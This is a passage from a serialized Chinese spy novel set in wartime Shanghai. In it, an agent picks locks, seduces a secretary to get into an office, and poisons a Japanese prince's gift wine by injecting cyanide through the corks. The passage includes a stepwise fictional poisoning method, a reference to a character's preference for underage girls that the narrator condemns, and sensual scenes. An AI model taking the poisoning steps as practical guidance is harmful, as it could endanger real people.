李二狗用同样一根细铁丝就轻易打开了抽屉上的锁,里面最上层放着一个文件袋,上面标注着机密二字。 他嘴角露出一丝嘲讽的表情,打开文件袋,拿出里面的文件,是一份上海大剧院安全保卫计划书。 李二狗快速浏览了一遍计划书,果然防卫十分森严,甚至连大剧院的厕所和下水道都要进行严密的检查。 演出当天的安保更是严格,所有受邀观众进入大剧院之前都要接受至少两道安检,甚至连火柴都禁止带入大剧院。 想在如此严密的安保措施下,混入大剧院都十分困难,更别提实施刺杀行动。 绝无可能! 李二狗心头蔓延着一丝绝望的情绪。 他知道力行社的规矩,如果完不成任务,受得的惩罚将会非常严厉。 他也了解徐青霞的性格,她一定会去刺杀竹田宫,哪怕她知道刺杀成功的几率微乎其微。 李二狗把安全保卫计划书又从头到尾看了一遍,然后装进文件袋,放回了原处。 他又翻看了几个地方,没有再发现什么有价值的情报,便打开房门离开了。 李二狗又来到四楼局长办公室门前,用同样的方式打开房门潜入进去。 里面和张金荣的办公室大相径庭,完全是日式布局。 他没有心思欣赏,直接来到办公桌前。 桌面上很干净,甚至连一份文件都没有。 和张金荣办公桌不同的是,抽屉上并没有上锁,李二狗微微有些失望。 但他还是打开最上面的一个抽屉,里面有一本粉红色的笔记本引起了李二狗的注意。 一个大男人,竟然用粉红色的笔记本,真是变态至极。 李二狗打开笔记本,上面记着一长串日本人的名字。 每个名字后面都详细地列出这个人的喜好。 李二狗赫然看到竹田宫的名字,他的后面列出的喜好是女人和法国红酒。 “女人”二字后面加了一个括弧:幼女,不能超过15岁。 畜生! 法国红酒后面也加了一个括弧:只喝1892年以前波尔多产区的干红葡萄酒。 真他妈的会享受。 李二狗把笔记本放回抽屉,又打开其他几个抽屉也看了看,并没有发现什么有价值的东西。 正当李二狗怀揣着失望之情准备离开的时候,手电筒照到一个玻璃橱柜,里面放着两瓶红酒。 李二狗在好奇心的驱使下走到玻璃柜前,打开柜子,拿起一瓶红酒,仔细看了看,果然是法国波尔多地区产的葡萄酒,年份是1880年。 李二狗虽然不喝葡萄酒,但也知道1880年产的葡萄酒是什么档次。 如此贵重的红酒,又如此贴合竹田宫的喜好,显而易见,这是上海警察局局长贵头正弘准备送给竹田宫的礼物。 李二狗仔细端详着手里的红酒,轻轻地晃动着瓶体,瓶中红色的液体缓缓流动着,泛起无数的小气泡,李二狗心中突然有了一个大胆的想法。 他赶紧把红酒放回原处,锁好门,回到宿舍,王富贵的鼾声正打得震天响。 第二天一早,李二狗等到张金荣上班之后,特地来向他请假,说要回租界探亲。 张金荣早先答应过李二狗这件事,便很痛快地答应了,他可不希望李二狗住到自己家里。 李二狗离开警察局之后,没有直接回租界,而是来到一家诊所。 一个大夫穿着白大褂坐在一张桌子后面,看见李二狗进来,面无表情地问道:“哪里不舒服?” 李二狗没有回答,而是借着坐下的时机瞟了一眼门外。 “大夫,我想买点注射用的止痛药。” 大夫还从未遇见过直接买注射用止痛药的病人。 “你买那个干什么?那东西不是中药,不能喝的。” 李二狗一脸的悲痛。 “哎,我老爹病了,病得很严重,已经下不了床,看他躺在床上痛苦的样子,我这做儿子的实在是不忍心。所以,我想买点止痛药回去给他注射上一针,减轻一点他的痛苦,这也算是我作为儿子能为他最后做的一点事了。” 李二狗的孝心打动了大夫。 “哎,现在这个社会,像你这么孝顺的儿子不多了。好吧,我今天就破个例,亲自去一趟你家,这药物注射是个技术活,不是谁都能操作的。” “大夫,太感谢你了,不过,我以前在医院学过注射,我自己可以的。” “你会注射?” “是啊,我以前和你一样,也是个大夫。” 其实这个大夫并不是真的被李二狗的孝心感动,他只是想借着出诊的机会多挣些钱罢了,但李二狗却不上套。 “按照我们诊所的规定,注射类的药物是不能对外出售的,请你理解。” 李二狗一眼就看穿他的小心思,没有废话,直接掏出三块大洋拍在桌上。 “大夫,麻烦你行个方便,卖我一盒止痛药吧。” 大夫看着桌上的三块大洋,努力控制着自己激动的情绪。 “念在你如此有孝心的份上,我今天就破个例,你等着,我去给你拿。” 第684章 今晚你来吗 李二狗哭丧着脸说道:“大夫,麻烦你再给我拿一个注射用的针管吧。” 一个小诊所,半个月都挣不了一块大洋,现在这么轻易就挣了三块大洋,大夫又怎么会在乎一个并不值钱的针管。 “好,针管可以送给你。” “那太谢谢你了,大夫,你可真是医者仁心啊。” 李二狗拿着注射器和止痛药出了门之后,便把药物丢进了垃圾桶,把注射器揣在了兜里。 他知道,单独购买一个注射器,不仅不容易买到,还容易引起别人的怀疑。 李二狗来到咖啡馆,他和徐青霞约好了在这里见面。 到了约定时间,徐青霞匆匆赶到咖啡馆,见到李二狗,疲惫的脸上才露出一个久违的笑容。 “有竹田宫的消息吗?”李二狗没有寒暄,直接问道。 徐青霞一脸凝重。 “明天晚上7点,竹田宫将会到上海大剧院出席一个文艺演出。” 李二狗没想到徐青霞也得到了这个消息,看来力行社的实力还是不容小觑。 “你打算在上海大剧院动手?” 徐青霞点了点头,说道:“这是我们唯一的机会。” “你想过没有,到时候上海大剧院的安保措施将会非常严格,你怎么刺杀竹田宫?” 徐青霞坚定地说道:“现在还没有想好怎么刺杀他,但我绝对不会放弃这个机会。” 李二狗知道,这样的刺杀行动无异于送死。 “你现在连进入上海大剧院的机会都没有,又怎么去刺杀竹田宫?”李二狗把手放在徐青霞手背上,轻轻地拍了拍,“即使你能想办法混进去,也绝对带不进去任何武器,想刺杀他难于登天啊!” “我知道会很难,但再难我也得去做!我别无选择!” 李二狗不明白,徐青霞一个潜伏在力行社的共产党员怎么会如此执着地执行力行社的命令。 “青霞,你们上海站已经遭到如此严重的破坏,现在你完全可以选择离开。” 徐青霞眼神中闪过一丝失望,她没想到李二狗竟会劝她临阵脱逃。 “二狗,你别再劝了,我一定要去刺杀竹田宫!” “你这样会死的!”李二狗失声道,“你别忘了你真实的身份。” “我没有忘!二狗,不管我是共产党还是国民党,我首先是一名中国人!如果能成功刺杀竹田宫,你知道对咱们中国意味着什么?它可以大大鼓舞全国人民的抗日热情,沉重打击日本帝国主义的嚣张气焰,这是一件利国利民的事情啊,我怎么能为了自己活命就逃走呢?我做不到!” 李二狗被徐青霞的话打动了,这更加坚定了他此前的想法,他要替徐青霞去刺杀竹田宫。 “青霞,既然你决定了,那我也决定了!” “你决定什么了?” “刺杀竹田宫的任务交给我!” 徐青霞被李二狗的话感动了。 “二狗,这不是你的任务,你没必要冒这个险!” “你刚才说了,咱们都是中国人,抵抗日本鬼子的侵略是我们每一个中国人义不容辞的责任,而且我不想让你受到任何伤害!” “二狗,有你这句话就足够了!刺杀竹田宫的事情你还是不要管了!” 其实徐青霞心里清楚,刺杀成功的机会微乎其微,其实她已经做好了慷慨赴死的准备。 “你的事我不可能不管,你放心,我已经有刺杀竹田宫的计划。” 徐青霞以为李二狗是为了安慰她而故意编造的谎言,他怎么可能有计划,他连竹田宫在哪都不知道。 “二狗,谢谢你,不过我还是不想把你牵扯进来。”徐青霞从兜里掏出一张通行证,“这是进出法租界的通行证,今晚你到法租界来找我,我不想留下遗憾……” 李二狗抚摸着这张通行证,他知道徐青霞今晚要和他做什么,这分明就是临死前的告别! “青霞,我真的已经有刺杀竹田宫的计划,你要相信我,千万不要在上海大剧院采取任何行动!” 徐青霞见李二狗说的郑重,不像是撒谎,便问道:“你真的有办法?二狗,如果你这样说,只是为了让我放弃在上海大剧院刺杀竹田宫的计划,你这样做,我会怨你一辈子的!” 李二狗握住徐青霞的手,深情地说道:“青霞,我没有骗你,我真的已经有办法刺杀竹田宫了。” “真的?什么计划,你快告诉我,我们一起来执行!” “这个计划不需要人多,人多反而容易暴露,我一个人足够了。” 在徐青霞一直觉得自己人手不足时,李二狗竟说他一个人就足够了,他难道是神仙吗?一个人就可以完成看似不可能完成的任务? “二狗,这件事非同小可,可不是闹着玩的!一旦不成功,下次再想刺杀他可就难上加难了!” 李二狗微微一笑,说道:“青霞,你要相信我,我有把握可以杀了那个日本鬼子。” 徐青霞虽然和李二狗接触的时间并不长,但李二狗身上有一种独特的气质,使徐青霞不得不选择相信他。 “二狗,我相信你。” 李二狗伸手捏了捏她娇嫩的脸颊,柔声说道:“你有氰化钾吗?” 李二狗知道,力行社的人都有随身携带的氰化钾,一旦暴露或者被俘,就会吞服氰化钾自杀。 “你问这个做什么?” 李二狗笑道:“放心,我不是自己吃,我是给小日本鬼子吃。” “你要给他下毒?你知道他住在哪里吗?” “我不知道!” “你不知道怎么给他下毒?二狗,你可不要吓我!” “青霞,我自有办法,你把氰化钾给我吧。” 徐青霞尽管还是半信半疑,但还是将缝在衣领处的氰化钾取出来递给李二狗。 “二狗,你要答应我,无论任何情况下都不要做傻事。” “我当然不会做傻事,但你放心,我一定杀了那个日本鬼子!” “我信你!”徐青霞紧紧地握住李二狗的手,“今晚你来吗?” “今晚我有重要的事做,明天再去找你,好吗?” “我等你!” 第685章 任凭你发落 李二狗担心任务一旦失败会连累到家人,便没有回公共租界。 同时,为了尽快实施刺杀计划,他回到上海警察局,伺机而动。 “二狗,你怎么回来了?” 王富贵见到李二狗回来,一筹莫展的额头上依然没有舒展开。 李二狗嘴唇紧抿,神态痛苦,几乎要哭出来了。 “哎,我刚刚回了一趟家,可家里人都不在,问了问邻居,已经好久没见他们了。” 王富贵安慰道:“也许他们都出去避难了吧?二狗,你别着急,没有消息也许是好消息。” “但愿如此吧,我去了一趟巡捕房,他们根本就不管。” 王富贵痛骂道:“那些英美的走狗,他们根本就不配做中国人。” 王富贵说的正气凛然,李二狗差点就被他感动了。 他们是英美的走狗,你又是日本人的什么呢? “哎,你说这都是什么世道?”李二狗坐到自己办公桌前,假装随意问道:“张副局长出去了?” “又去市政府开会了,和局长一起。” 李二狗故意问道:“我听说咱们局长根本不管具体业务,怎么他也去开会了?” “这次安保任务事关重大,是张副局长硬拉着局长去的。” 李二狗心想,看来这个张金荣还有些头脑,他害怕自己一个人背锅。 “我回宿舍躺会,有事叫我。” 王富贵摆了摆手,说道:“去吧,中午吃饭我再叫你。” “别叫我了,没有胃口,只想睡个一天一夜,哎。” “一切都会好起来了。” 李二狗出了办公室的门,没有直接回宿舍,而是直接上了四楼。 由于贵头正弘在四楼办公,所以整个四楼除了他秘书办公室之外,没有再安排其他任何人在四楼办公。 李二狗来到四楼楼梯口,没敢贸然进入,虽然只有秘书办公室,但他并不能确定其他房间到底有没有人。 突然,他看到楼梯口有一个变电箱,顿时计上心头。 他打开变电箱,把其中的一个电闸掰了下来,然后快速回到三楼,等待着楼上的动静。 过了几分钟,楼上便传来“咯噔咯噔”的高跟鞋声音。 原来贵头正弘的秘书是个女人,李二狗笑了。 对于他来说,对付女人远比对付一个男人简单的多。 果然是一个女人,还是一个十分妖冶的女人,下楼梯的时候那屁股扭得上下翻飞,李二狗赶紧低着头跑了上去。 他不偏不倚,正好迎面撞在这个女人身上,在她即将摔倒的瞬间伸手接住了她。 “哎吆,你这人怎么走路不长眼啊?” “对不起,对不起。” 在两人目光接触的瞬间,女人的脸红了,已经到嘴边的话又咽了回去。 她从来没有见过如此英俊且刚毅的脸庞,他的臂膀是如此的有力,以至于自己的身子都有些酥软。 “我以前怎么没有见过你?” 女人呼出的气息拂过李二狗的脸庞,那是一种初秋清晨露珠上的味道。 李二狗没有回答,他闭上眼睛感叹道:“好香的味道。” “你……” 女人这才意识到这是在大庭广众之下,她赶紧从李二狗的怀里站起来。 李二狗微微一笑,再次得体地表达了歉意。 “实在对不起,刚才太匆忙了,没有看路,你没有受伤吧?要不要我带你去医院检查一下?” 女人凝视着李二狗,脸上早已没有了愠怒之色。 “我怎么以前没有见过你?” “我是昨天刚来的,给张副局长当司机。” 李二狗说话的同时一直盯着女人的眼睛,把她看得眼神躲闪着,不敢再与李二狗对视。 在上海警察局,除了局长之外,他是第一个敢与她这样对视的男人。 这个女人也并非善类,她努力让自己看起来没有那么紧张。 “你为什么总是盯着我看?小心看眼里拔不出来。” 李二狗继续盯着她的眼睛,语气轻佻地说道:“造物主真是不公平,我从未见过像你这样如此漂亮而气质又如此独特的女人!” 女人被李二狗几句话便说的心花怒放。 “你可真够贫的!我才不会信你!” “我对灯发誓,”李二狗指着头顶的灯泡,“我说的都是真话!” 女人抿嘴而笑,尽管笑得非常克制,但胸前的双峰还是控制不住地跳动着。 “你对灯发誓?你没看到灯都不亮了吗?可见你说的不是真话!” 李二狗故意抬头看了看灯泡。 “不亮吗?只是白天没开罢了。” “真的停电了,我正要找人来给修修。” 李二狗笑道:“你可真是骑着驴找马。” 女子没听懂李二狗的话,疑惑地问道:“什么意思?” 李二狗笑道:“我的意思是我就会修,你还找别人干什么?” 女人对李二狗的兴趣更浓了。 “你一个司机还会维修电路?” 李二狗一副坏坏的表情,好像在告诉眼前的这个女人,老子吃定你了。 “没听老人说过吗?不想当电工的司机不是好警察。” 女子“噗呲”一声笑了,她从未见过如此幽默风趣的男人。 “一看你就是个老司机,别光玩嘴,我得看看你的活怎么样?” “我的活好得很!保证让你满意。” 李二狗的坏笑对女人的杀伤力极大,一般女人根本顶不住。 女人起初还没反应过来,当她看着李二狗的坏笑,才意识到他是在撩拨自己。 “讨厌!快去修,修不好看我怎么收拾你。” 李二狗保持着坏坏的笑容,他走到变电箱旁边,三下五除二之后,潇洒地拍了拍手,把变电箱的门关上了。 “修好了。” “这么快?”女人难以置信地看着李二狗。 “当然!”李二狗笑了笑,“不过你不要误会,我可不是做什么事都这么快!” 女人的脸羞得通红通红,她自认为自己是一个见多识广的女人,可没想到在李二狗面前,竟像一个处女般手足无措。 “你讨厌死了!” “嘿嘿,回办公室看看吧,如果没修好,任凭你发落。” 女人向李二狗抛了一个媚眼,妖娆地说道:“好,我倒要看看你的活到底如何!” “保证不会让你失望!” 李二狗很自然地跟着她回了办公室。 第686章 不要停 李二狗跟着这个女人来到她的办公室,他刚进了门,便很自然地把房门在里面关上了。 女人听到身后的关门声,表情微微一愣,眼角的笑意更浓了。 她知道,在上海警察局,没有男人敢对她无礼! 可这个男人不一样,她想对他无礼! 他实在是太有情趣了! 她喜欢这样有情趣的男人! 她没有转身,伸手按了一下电灯开关,果然有电了。 “怎么样?我没有骗你吧?” 女人转过身,目光灼灼地看着李二狗,舌头无意间舔舐了一下自己红彤彤的嘴唇。 “这件事没有骗我,其他事可就不好说了。” 李二狗没想到这个女人竟如此开放,自己只是稍微动了一点心思,她便已经春心荡漾起来。 面对这样一个主动的尤物,李二狗实在没有拒绝的道理。 “你难道想在这里现场检验吗?” “你讨厌!” 女人走上前,伸手打了一下李二狗的胸膛,被李二狗顺势拉住了手腕,稍一用力,她便顺势趴在了李二狗的胸前。 李二狗没有时间含蓄,他还有重要的任务要做。 他直接对这个女人上下其手,手法娴熟,他知道这样的女人需要什么。 女人闭着眼,轻声呢喃道:“吻我!” 李二狗鬼魅地一笑,接着便吻了上去。 李二狗一边亲吻,一边抚摸着她的身体。 她果然是一个经验十足的女人,轻轻地扭动着自己纤细的身体配合着李二狗。 两人虽然是第一次,却毫无陌生人的违和感。 红脸出汗之后,女人期待着李二狗继续探幽寻径之时,他却突然停了下来。 “怎么停了?不要停!” 女人边说边小鸡啄米般亲吻着李二狗的脸颊和嘴唇。 李二狗躲闪着她的亲吻,女人难以置信地看着李二狗,她不明白,这个男人怎么会在此时拒绝自己? 她自信没有男人能拒绝这种亲吻! “你怎么了?不喜欢我吗?” 李二狗苦笑道:“不是不喜欢你,是在这里我不敢!我怕局长突然回来。” 女人这才想起这里是办公室,如果贵头正弘突然回来,确实无法解释。 她可以和李二狗一夜欢愉,可还得倚靠贵头正弘在上海警察局立足。 可她此时正在兴头上,实在不愿意停下来。 “他也许中午之前不会回来吧,我们快一点,没事的!” 说着,女人再一次吻向李二狗的嘴,又被李二狗扭着躲开了。 “你又怎么了?” “我没有那么快!至少得一个小时,你确定他不会回来吗?” “我……”女人并不能确实,可她渴望得到李二狗阳光雨露的滋润,“可我真的好想要……” 李二狗要的就是这种效果,他相信,此时让这个女人做什么,她都会满口答应。 “即使局长不回来,这个楼层就没有其他人了吗?” 女人十分肯定地说道:“这个我能确定,局长不叫,没人敢随便上来!” “可我还是担心局长会突然回来,我这样根本无法专心致志地让你登天入地。” 女人此时就像站在云巅,她内心太想要了。 她紧紧地抱住李二狗不松手,语带哭声地问道:“那你说怎么办?” “要不然咱们换个地方吧?去你家方便吗?” “方便!”她几乎没有任何犹豫,“我家就在前面那条街上,我们现在走吧。” 李二狗猝不及防地拍了一下她的翘臀,说道:“我们现在一起出去,你觉得合适吗?” 女人完全被性欲冲昏了头脑。 “那我先回去,待会儿你直接到龙华路666号,我在家等你。” “好,不过为了安全起见,还是我先出去,你等一分钟再走,咱们待会在你家里见!洗好澡等着我!” 李二狗临出门前又亲吻了她的额头,女人的身心已经完全荡漾开来。 李二狗出了门,闪身进了旁边的卫生间。 一分钟之后,女人提着小坤包,扭动着蜜桃臀快速出了门。 李二狗目送着女人下了楼,赶紧来到贵头正弘办公室门前,他还是习惯性地左右看了看,确定没人之后才从兜里掏出细铁丝,插入锁孔,熟练地转动了几下,门锁便打开了。 他推门而入,然后把房门在里面反锁。 好在橱柜里的那两瓶红酒还在,看来贵头正弘还没来得及把这两瓶高档红酒送给竹田宫。 李二狗打开橱柜,把两瓶红酒全部拿出来放在桌子上。 然后掏出尚未开封的针管和一个透明的小玻璃瓶,小玻璃瓶里装着他提前用水稀释好的氰化钾。 李二狗吸了一针管氰化钾,然后把针头轻轻地插入红酒的木塞里,把半针管氰化钾射了进去。 然后他轻轻地拔出针头,把针眼处用手用力地压了压,如果不仔细看,根本看不出有针眼的痕迹。 他把酒瓶轻轻地晃动了一下,使氰化钾和红酒充分融合。 完美!看不出任何破绽! 然后他又依样画葫芦,把剩下的半针管氰化钾注射到另一瓶红酒当中。 做完之后,他赶紧把两瓶红酒放归原处,然后蹑手蹑脚地离开了贵头正弘的办公室。 楼道里空无一人,他快步下了楼。 到了楼下之后,李二狗毫无征兆地停下脚步,弯身装着系鞋带,看到身后并没有人跟随,这才彻底放下心来。 他快步走出了上海警察局的大门,然后在无人处把针管扔进了旁边的一个臭水渠中。 经过一番激烈的思想斗争之后,他还是如约来到了龙华路666号。 此时刺杀竹田宫是任务尚未成功,他不能撤离。 为了不打草惊蛇,也为了感谢这个女人在无意中帮了自己这么大的忙,李二狗理应对她表示一番感谢。 李二狗刚一敲门,房门便打开了。 一个穿着红色丝绸睡衣的女人双手搂住李二狗的脖子,骑在了他的身上。 李二狗本想解释一下为何自己姗姗来迟,可这个女人根本不给李二狗说话的机会,她激烈地吻住了他的嘴。 一场激烈的持久战即将打响! 第687 李二狗的绝妙计划 贵头正弘的女秘书叫周楚红,这也是李二狗事后才从王富贵口中得知的。 虽然不知道彼此的姓名,但丝毫没影响两人深入交流时的默契程度。 那一招一式、一颦一笑,即使是多年的老夫老妻也不一定能完成的如此丝滑。 “二狗,这个女人可不简单,是咱们上海警界有名的一枝花,平时眼高于顶,在咱们局里,除了局长之外,她谁都不放在眼里,你可千万别去招惹她。” 李二狗努力憋着笑,她眼高不高于顶自己不知道,但她的深浅,自己倒是已经摸得一清二楚。 “我只是在楼道里遇见她,出于好奇才顺口问问,我怎么会去招惹她呢?” 王富贵太清楚男人第一次看见周楚红的反应了,那种毫无征兆的生理反应自下而上直冲天灵盖,根本控制不住。 他第一次见到周楚红时,只顾着流哈喇子,事后才发现那里已经洇湿了一片。 不怪自己没出息,只怪周楚红太妖媚,她就是一个天生的尤物! “你小子不会被她迷住了吧?这也难怪,咱们局里哪个男人见了她不眼馋?可眼馋也没用,人家根本就不搭理你!” 李二狗闻言只是笑了笑,没有说话。 “晚上再来找我,好吗?人家还想要!” 两人分别时,周楚红的话犹在耳。 现在不是她搭不搭理你的问题,而是自己被她缠上了! 不过周楚红的确是一个人间尤物,李二狗以前从来没有体验过这种女人的滋味。 别的女人在床上,都是跟着他的节奏在动,可这个女人却非常主动,主动的同时又极尽温柔之能事。 她的那些手段,平常男人根本顶不住一分钟。 可李二狗却硬生生扛了近一个小时,这也是她约李二狗晚上再次见面的主要原因。 但李二狗不是那种见了女人就迈不开腿的男人,他不会因为女人的温柔就忘记了刺杀竹田宫的任务。 他之所以答应她晚上再去,完全是为了打探贵头正弘的行踪。 他相信周楚红作为贵头正弘的秘书,他的行程她应该是掌握的。 “想什么呢?不说话?”王富贵推了一下李二狗,“你小子不会真迷上她了吧?我劝你不要痴心妄想,他怎么会看上咱们这种人?” 李二狗故意说道:“咱们这种人是什么人?都是两个肩膀扛一个脑袋,我看她呀,也没什么了不起!” 王富贵冷笑道:“你小子就嘴硬吧,小心偷鸡不成蚀把米,到时候可别怪哥哥没提醒你。” 李二狗不想和王富贵再聊这些废话,便转移了话题。 “你说张副局长一天天的不见人影,我到现在连汽车的方向盘都没摸过,这司机做的,未免太轻松了。” 王富贵笑道:“你小子得了便宜还卖乖!没事干还不好?不过这几天是特殊情况,等忙过这几天,把市政府借调的司机还回去,你就有事做了。” 李二狗关心的根本不是这个,也许他明天就不会再回到上海警察局。 只是他现在不知道竹田宫还有没有机会参加明晚的文艺演出,真希望他今晚就喝了那瓶红酒。 他此时很想到四楼看一看贵头正弘在做什么,他今晚到底去不去给竹田宫送红酒。 但他现在如此突兀地上四楼,如果碰到贵头正弘,肯定会引起不必要的麻烦。 如果竹田宫明晚参加完文艺演出之后直接离开上海,那一切将功亏一篑。 李二狗不能坐以待毙,他必须要做些什么。 “富贵,局里现在也没我什么事,我想出去再找找家人。” 王富贵安慰道:“去吧,不过你也别太着急了,他们一定会没事的。” “谢谢。” 李二狗离开上海警察局,直接来到法租界徐青霞的住所。 上次见面,徐青霞不仅告诉了李二狗她家的住址,还给了他一张进出法租界的通行证。 为了随时保持联系,同时也为了阻止徐青霞擅自行动,李二狗要求徐青霞务必待在家中等候自己的消息。 他知道,徐青霞不一定会完全听从他的要求。 “哐哐哐!” 李二狗敲响房门的同时希望徐青霞在家里。 在李二狗的期待中,房门打开了。 徐青霞看到李二狗,顿时喜笑颜开、兴奋异常。 “二狗,你来了!” 她抑制不住地抱住李二狗,两人热烈地亲吻起来。 亲吻了一会儿,李二狗阻止了徐青霞进一步的动作。 “青霞,我有重要的事情需要你现在去做。” 徐青霞本来有些失望,但她听到有重要任务才收敛起来。 “什么事?你快说。” 李二狗从兜里掏出一张纸,上面写着一个电话号码和一段话。 “你马上找一个公共电话给这个电话号码打电话,要说的话我都写在这张纸上了。” 徐青霞快速读了一遍上面的文字,面露疑色。 “这能行吗?会不会太冒险了?” “成功险中求,我们不能再等了!” 徐青霞相信李二狗的能力和水平,这个人不会做无把握的事情。 “好,我马上去打!” “我和你一起走。” 徐青霞深情地看了李二狗一眼,说道:“你在家等我吧,人多反而不安全。” 李二狗深情地与她对视一眼,他也想留下来,可他必须马上回到上海警察局。 “我得马上回局里,能不能成功就看今晚了。” 徐青霞说道:“那你小心一点。” 李二狗和徐青霞一起出了门。 徐青霞来到一个公共电话亭,深吸一口气,拨通了李二狗提供的电话号码。 “是上海警察局吗?” “我是,你是哪位?”接电话的正是周楚红。 徐青霞压制住内心的跳动,按照李二狗提前的安排,一字一句地说道:“我是宪兵司令部的。” 周楚红一听是宪兵司令部的,立马从座位上站了起来。 “请问您有什么吩咐?” “竹田长官的红酒喝没了,我们派人在上海找了很多地方都没有买到他指定的红酒,石根将军特意让我问问你们警察局有没有办法找到。” 第688章 我身体有点不舒服 周楚红一听,是松井石根的安排,同时又涉及到竹田宫,不敢怠慢,赶紧拿起纸笔,热情又客气地问道:“请您说一下具体的要求。” “一定要1892年以前生产,法国波尔多地区的干红葡萄酒。” 周楚红认真地逐字逐句记录下来。 “还有其他要求吗?什么时候要?” 徐青霞压制住内心的激动。 “其他没有了,越快越好。” 周楚红依旧保持着笑容。 “送到什么地方?” “直接送到竹田长官下榻的酒店前台,让前台送到竹田长官的房间。” “好的,我马上向我们局长汇报。” 徐青霞放下电话,长舒一口气,她内心不由得地暗自感叹,李二狗真乃神人也,尤其是最后一句“直接送到竹田长官下榻的酒店前台,让前台送到竹田长官的房间”,简直是神来之笔! 周楚红放下电话之后,赶紧来到贵头正弘的办公室。 “局长,刚刚宪兵司令部打来电话,让我们为竹田宫长官找两瓶红酒,这种红酒他们找遍上海也没有找到,这是红酒的具体要求。” 贵头正弘接过记录本,看到上面记录的具体要求,开心地笑了。 他此前通过一些特殊渠道打探到竹田宫的爱好,并为此做了精心的准备,看来自己的这番功夫没有白费。 他本来想找一个合适的机会把精心准备的这两瓶红酒送给竹田宫,没想到机会这么快就来了。 果然机会是留给有准备的人。 “楚红啊,你马上通知司机,让他把这两瓶酒送到竹田长官下榻的酒店。” 周楚红吃惊地问道:“局长,您柜子里的这两瓶红酒符合竹田长官的要求?” “我这两瓶红酒就是为竹田长官量身定做的,哈哈,楚红,你说我厉不厉害?” 贵头正弘猝不及防地亲了周楚红一口,周楚红竟第一次有了恶心的感觉。 但她并不敢在贵头正弘面前表现出来,借着去拿红酒的机会离他远远的。 “局长,您真是太厉害了!人家佩服死你啦!” “吆西,哈哈,今晚我要好好庆祝庆祝,待会儿下班后你跟我回家,我今晚要让你吃不了兜着走,哈哈!” 周楚红心里一阵恶心,他口中所谓的“吃不了兜着走”,和李二狗比起来,简直就是狗屎! “局长,最近我身体有些不舒服,身上一点力气都没有,要不咱们还是下次吧?” 此时的贵头正弘已经精虫上脑,他没想到周楚红竟然敢当面拒绝他,这实在令他非常恼火。 “你再说一遍?” 周楚红顿时吓坏了。 “局长,我突然感觉身体好多了,您放心,晚上我一定好好陪您。” 贵头正弘的虚荣心得到极大的满足。 “这还差不多,晚上七点,你先去我家里洗好澡等我。” 周楚红胃里一阵翻腾,她努力保持着精致的笑容。 “好的,局长,晚上见。” 周楚红拿着两瓶红酒回到自己办公室,终于一口酸水吐了出来。 刚刚吃完满汉全席,现在却要去吃狗屎,她怎么接受得了? 可她根本没有拒绝贵头正弘的勇气! 她拿起电话,打给贵头正弘的司机,让他马上到自己办公室一趟。 司机很快便屁颠屁颠上来了。 “楚红大妹子,你找俺什么事?” 平时在贵头正弘面前,这个司机连个屁都不敢放,此时关上门却放肆起来。 周楚红不愿搭理他,头也不抬地说道:“把这两瓶红酒送到竹田长官下榻的酒店,交给前台,让他们送到竹田长官的房间。” 竹田住在哪个酒店,周楚红根本不知道,但贵头正弘的司机却知道,他跟着贵头正弘去过两次。 “楚红大妹子,你咋对俺总是爱搭不理的?俺可没得罪你吧?你不能只对局长笑,见到俺就板着脸吧?” 周楚红正在气头上,司机如此一说,立马来了脾气,她“噌”地站起来,打开房门,大声说道:“你刚才说什么?我没听见,你再说一遍?” 司机吓得立即噤了声,拿起桌上的两瓶红酒赶紧出了门。 由于今晚约了李二狗见面,周楚红此时矛盾极了。 李二狗让她欲罢不能,可她又不能不去贵头正弘的家。 思虑再三,她只能含泪推掉和李二狗的约会。 她径直来到三楼李二狗的办公室。 王富贵看到周楚红突然出现在办公室,喜不自胜,赶忙站起来笑脸相迎。 他嬉皮笑脸地说道:“周主任大驾光临,有失远迎,请您指示。” 周楚红连个笑模样都没给他,她直接走到李二狗面前,脸上突然出现了一抹红晕,温柔地说道:“你出来一下,我有事和你说。” 王富贵简直惊掉了下巴,他怀疑自己的眼睛出现了问题。 上海警局一枝花竟然主动来找李二狗,她难道吃错药了? 李二狗起身的时候,故意意味深长地看了王富贵一眼,像是在炫耀,更像是在打他的脸! 王富贵看着两人的背影,忍不住感叹道:“真是人比人得死,货比货得扔啊!” 两人来到三楼楼道的尽头,周楚红说道:“今天晚上我有事,咱们改日再约吧。” 李二狗从周楚红的表情推断出她此刻内心的挣扎,她肯定有什么事瞒着自己。 “出什么事了?” 周楚红无法把晚上要陪贵头正弘的事情告诉李二狗。 “没……没什么事,我只是有点不舒服。” 李二狗太了解女人了,她们越是心情不好或者身体不舒服的时候越需要男人的关心、关爱和关护,而周楚红却选择远离李二狗,这不符合人性,尤其是女人的心性。 “楚红,有什么事情我希望你不要瞒着我,一定要告诉我,好吗?” 李二狗表现的越温柔,周楚红的内心越难受。 她犹豫了片刻,还是不打算告诉李二狗,此事她实在张不开嘴,她更担心李二狗会嫌弃她。 “我真的没事,这里人多眼杂,不是说话的地方,我先走了。” 周楚红说完便匆匆上了楼,李二狗看着她的背影,心中突然有种不祥的预感。 第689章 我养你 李二狗分析,本来是周楚红要和自己见面,现在又拒绝今晚见面,只有一种可能,那就是她今晚要和贵头正弘在一起。 上海警察局的人都知道,周楚红和贵头正弘的关系。 可如果今天晚上竹田宫喝了贵头正弘送去的红酒,肯定会毒发身亡。 日本人根据现场的线索,很快就会找到贵头正弘。 到时候,贵头正弘就是有一百张嘴也解释不清。 如果抓捕贵头正弘的时候,周楚红正和他在一起,肯定会受到连累,甚至会因此丢掉性命,日本人的残暴他是清楚的。 可想要阻止周楚红今天晚上不和贵头正弘见面,李二狗完全没有办法。 一旦操作不当,很可能会使整个刺杀计划暴露。 李二狗内心纠结极了,他无法眼睁睁地看着周楚红丢掉性命,可他又根本找不到阻止她的理由。 此时,李二狗很想冲到四楼,明确告诉周楚红,自己不允许她和贵头正弘在一起。 可他凭什么这样说? 周楚红会听吗? 贵头正弘很可能会一枪毙了他! 思来想去,李二狗还是准备找个合适的机会阻止周楚红。 一日夫妻百日恩,他们虽然不是夫妻,但一日的感情还是相当深刻的。 张金荣忙着上海大剧院安保的事情,一直没有回局里,李二狗有充足的时间做好各种突发情况的预案。 机会很快就来了。 下午下班之后,李二狗看到周楚红扭着纤细的腰肢出了警察局的大门,他赶紧跟了上去。 李二狗一路尾随,周楚红竟直接回到了她自己的家。 难道是自己猜错了? 周楚红真是因为身体不舒服? 这完全不合常理! 正当李二狗胡思乱想之时,周楚红走了出来,她换了一身荷粉色的旗袍,玲珑剔透的身材显露无疑。 原来是回家换衣服! 李二狗顾不得多想,直接上前推着周楚红又进了门。 